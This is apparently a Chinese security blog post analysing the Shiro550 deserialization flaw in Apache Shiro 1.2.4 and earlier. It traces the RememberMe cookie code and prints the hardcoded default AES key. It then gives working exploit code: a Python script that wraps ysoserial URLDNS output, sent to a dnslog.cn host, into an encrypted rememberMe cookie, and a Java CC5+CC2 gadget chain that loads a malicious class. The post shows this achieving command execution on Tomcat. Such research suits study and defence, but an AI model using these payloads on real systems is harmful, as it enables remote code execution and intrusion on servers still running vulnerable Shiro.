Shiro550
分析
参考:https://www.cnblogs.com/1vxyz/p/17572415.html
先来段复读吧
Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞
环境:jdk8u65 && shiro1.2.4 && tomcat9.0.104
配置环境稍稍遇到了点麻烦 实际上就是得用别人编译好的war包加上自己装好maven依赖的源码来调试 目录在shiro-root/samples/web下面
重点看cookie(token) 入口在AbstractRememberMeManager::onSuccessfulLogin()

首先用isRememberMe()判断是否勾选RememberMe选项 然后步入rememberIdentity()

这边用多参重载了rememberIdentity() 最后是步入convetPrincipalsToBytes()

序列化其实没什么可说的 这个serialize就不解释了 直接到encrypt()

首先获取一个cipherService 这个默认是AES 后面调用encrypt之前 还需要getEncryptCipherKey 获取一个encryptionCipherKey

我们关心的是默认值 直接可从构造函数中管中窥豹
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
显然默认的AES密钥直接硬编码存在了代码工作区里
但是这里还有一个问题 我们序列化的到底是什么? 这里开个调试 断点打在第一个rememberIdentity

实际上只是一些账号的信息 例如凭据名字之类的
走完序列化流程 我们再来看看反序列化 主要注意数据是否可控
在看AbstractRememberMeManager这个类的时候 注意到convertBytesToPrincipals里面有个deserialze 而这实际上就是我们反序列化的入口

decrypt就是用decryptionCipherKey解密 不用看 我们步入deserialize

这里直接把deserialize讲完 然后再分析可控变量
注意到反序列化流程和以往的new ObjectInputStream.readObject()
不同 这边是new了一个ClassResolvingObjectInputStream之后再强制转换 那么这会导致一个什么问题呢

ClassResolvingObjectInputStream是shiro自己实现的一个ObjectInputStream的继承类 可以看到重载的resolveClass()下 return 了一个 ClassUtils.forName() 而再看ObjectInputStream原来的resolveClass()

可以看到是 return 了一个Class.forName 那么这两个细微的区别会造成什么问题呢
这里直接给出结论 实际上ClassUtils.forName就不支持传入数组了 诶 那么这里很容易联想到CC2 这也正是我们后面要谈到的利用点
OK解决完反序列化 我们再来看看哪里调用了convertBytesToPrincipals和找到我们想要的可控参数
往上一步找到getRememberedPrincipals

bytes是我们需要的 跟进getRememberedSerialzedIdentity()

前面有些if就不截了 这里的问题是我们获取的Cookie是rememberMe吗?
可以看getCookie()这个方法 这个方法返回this.cookie 我们还是老样子 直接看构造函数是怎么给cookie赋值的

CookieRememberMeManager类下确实getCookie只会返回rememberMe字段的Cookie
所以我们就找到了可控的数据 就是Cookie: rememberMe=aaa
最后我们过一遍反序列化的流程
1 2 3 4
| Cookie: rememberMe=$payload bytes_undecrypt = Base64.decode($payload) bytes = bytes_undecrypt.decrypt() deserialize(bytes)
|
反向推数据格式 因此我们需要恶意序列化数据 -> AES特定key加密 -> base64编码
利用
URLDNS
基于原生态java 没什么限制 所以我们可以用这个来测试漏洞点 至于rce链子可以之后再找
这里的序列化数据就直接用ysoserial生成了 脚本想了想还是python辅助比较简单
AES摸了个好看懂的写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import subprocess from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes import base64
def generate_payload(command): popen = subprocess.Popen([r'java', '-jar', r'/Users/jednersaous/ysoserial-all.jar', 'URLDNS', command],stdout=subprocess.PIPE) return popen.stdout.read()
def rememberMe(plaintext): key_raw = "kPH+bIxk5D2deZiIxcaaaA==" key = base64.b64decode(key_raw)
iv = get_random_bytes(AES.block_size)
plaintext_mod = pad(plaintext, AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext_mod) ciphertext_str = base64.b64encode(iv + ciphertext).decode('utf-8') return ciphertext_str
if __name__ == '__main__': payload = rememberMe(generate_payload("http://xa26wa.dnslog.cn")) print("[!] rememberMe: \n" + payload)
|

CC链
shiro1.2.4自带Commons-collections3.2.1
诶那么可能想用CC6来打 但是上面分析中提到deserialize其实是不接受数组的 因此传入Transformer[]数组的是不行的
那么如果他shiro用了Commons-collections4.0 我们就可以尝试CC2 CC4 这两个是可以不用Transformer数组实现的
但是指望一个一键部署的框架特意换成Commons-collections4.0 疑似是有点痴人说梦了
那么有没有shiro原生cc链的打法呢 有的 兄弟 有的
CC2 CC4用不了的原因是什么? TransformingComparator没有继承Serializable 无法序列化 但是后面的恶意类加载是通用的
CC2的恶意类加载更是没有用到数组 因此我们拿CC2的后半段 InvokerTransformer::transform()开始

那么我们就要去找Commons-collections3.2.1中有没有可序列化同时调用transform()的方法

什么? LazyMap.get() 对的对的
我们看看CC5的gadget chain

从最开始到LazyMap.get()
所以这里我们绝佳的思路就是CC5 + CC2
这里需要注意的是 在CC5中我们没有对LazyMap::get(key)中的key做调用
但是这里为了调用到InvokerTransformer::transform(templates) 我们必须要通过TiedMapEntry的key 将key传给LazyMap
这里我用的是反射修改 避免在实例化TiedMapEntry的时候就出现问题(但是我想了想应该也没问题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class cc5_cc2 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","jed");
byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(tiedMapEntry,"key",templates); setFieldValue(badAttributeValueExpException,"val",tiedMapEntry); unserialize("sercc5_2.bin"); }
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5_2.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
将urldns的python脚本小改一手 把sercc5_2.bin恶意字节码读到输入就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import subprocess from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes import base64
def generate_payload(command): popen = subprocess.Popen([r'java', '-jar', r'/Users/jednersaous/ysoserial-all.jar', 'URLDNS', command],stdout=subprocess.PIPE) return popen.stdout.read()
def bin_read(filepath): f = open(filepath, "rb") return f.read()
def rememberMe(plaintext): key_raw = "kPH+bIxk5D2deZiIxcaaaA==" key = base64.b64decode(key_raw)
iv = get_random_bytes(AES.block_size)
plaintext_mod = pad(plaintext, AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext_mod) ciphertext_str = base64.b64encode(iv + ciphertext).decode('utf-8') return ciphertext_str
if __name__ == '__main__': payload = rememberMe(bin_read("./sercc5_2.bin")) print("[!] rememberMe: \n" + payload)
|
效果展示 touch aaa开到tomcat里面去了

CB链
shiro1.2.4原生自带Commons-beanutils1.8.3
那就很简单了 直接打CB链就好了 这里笔者就不打了 想试试的可以自己试试
python脚本直接用CC的bin读取脚本就好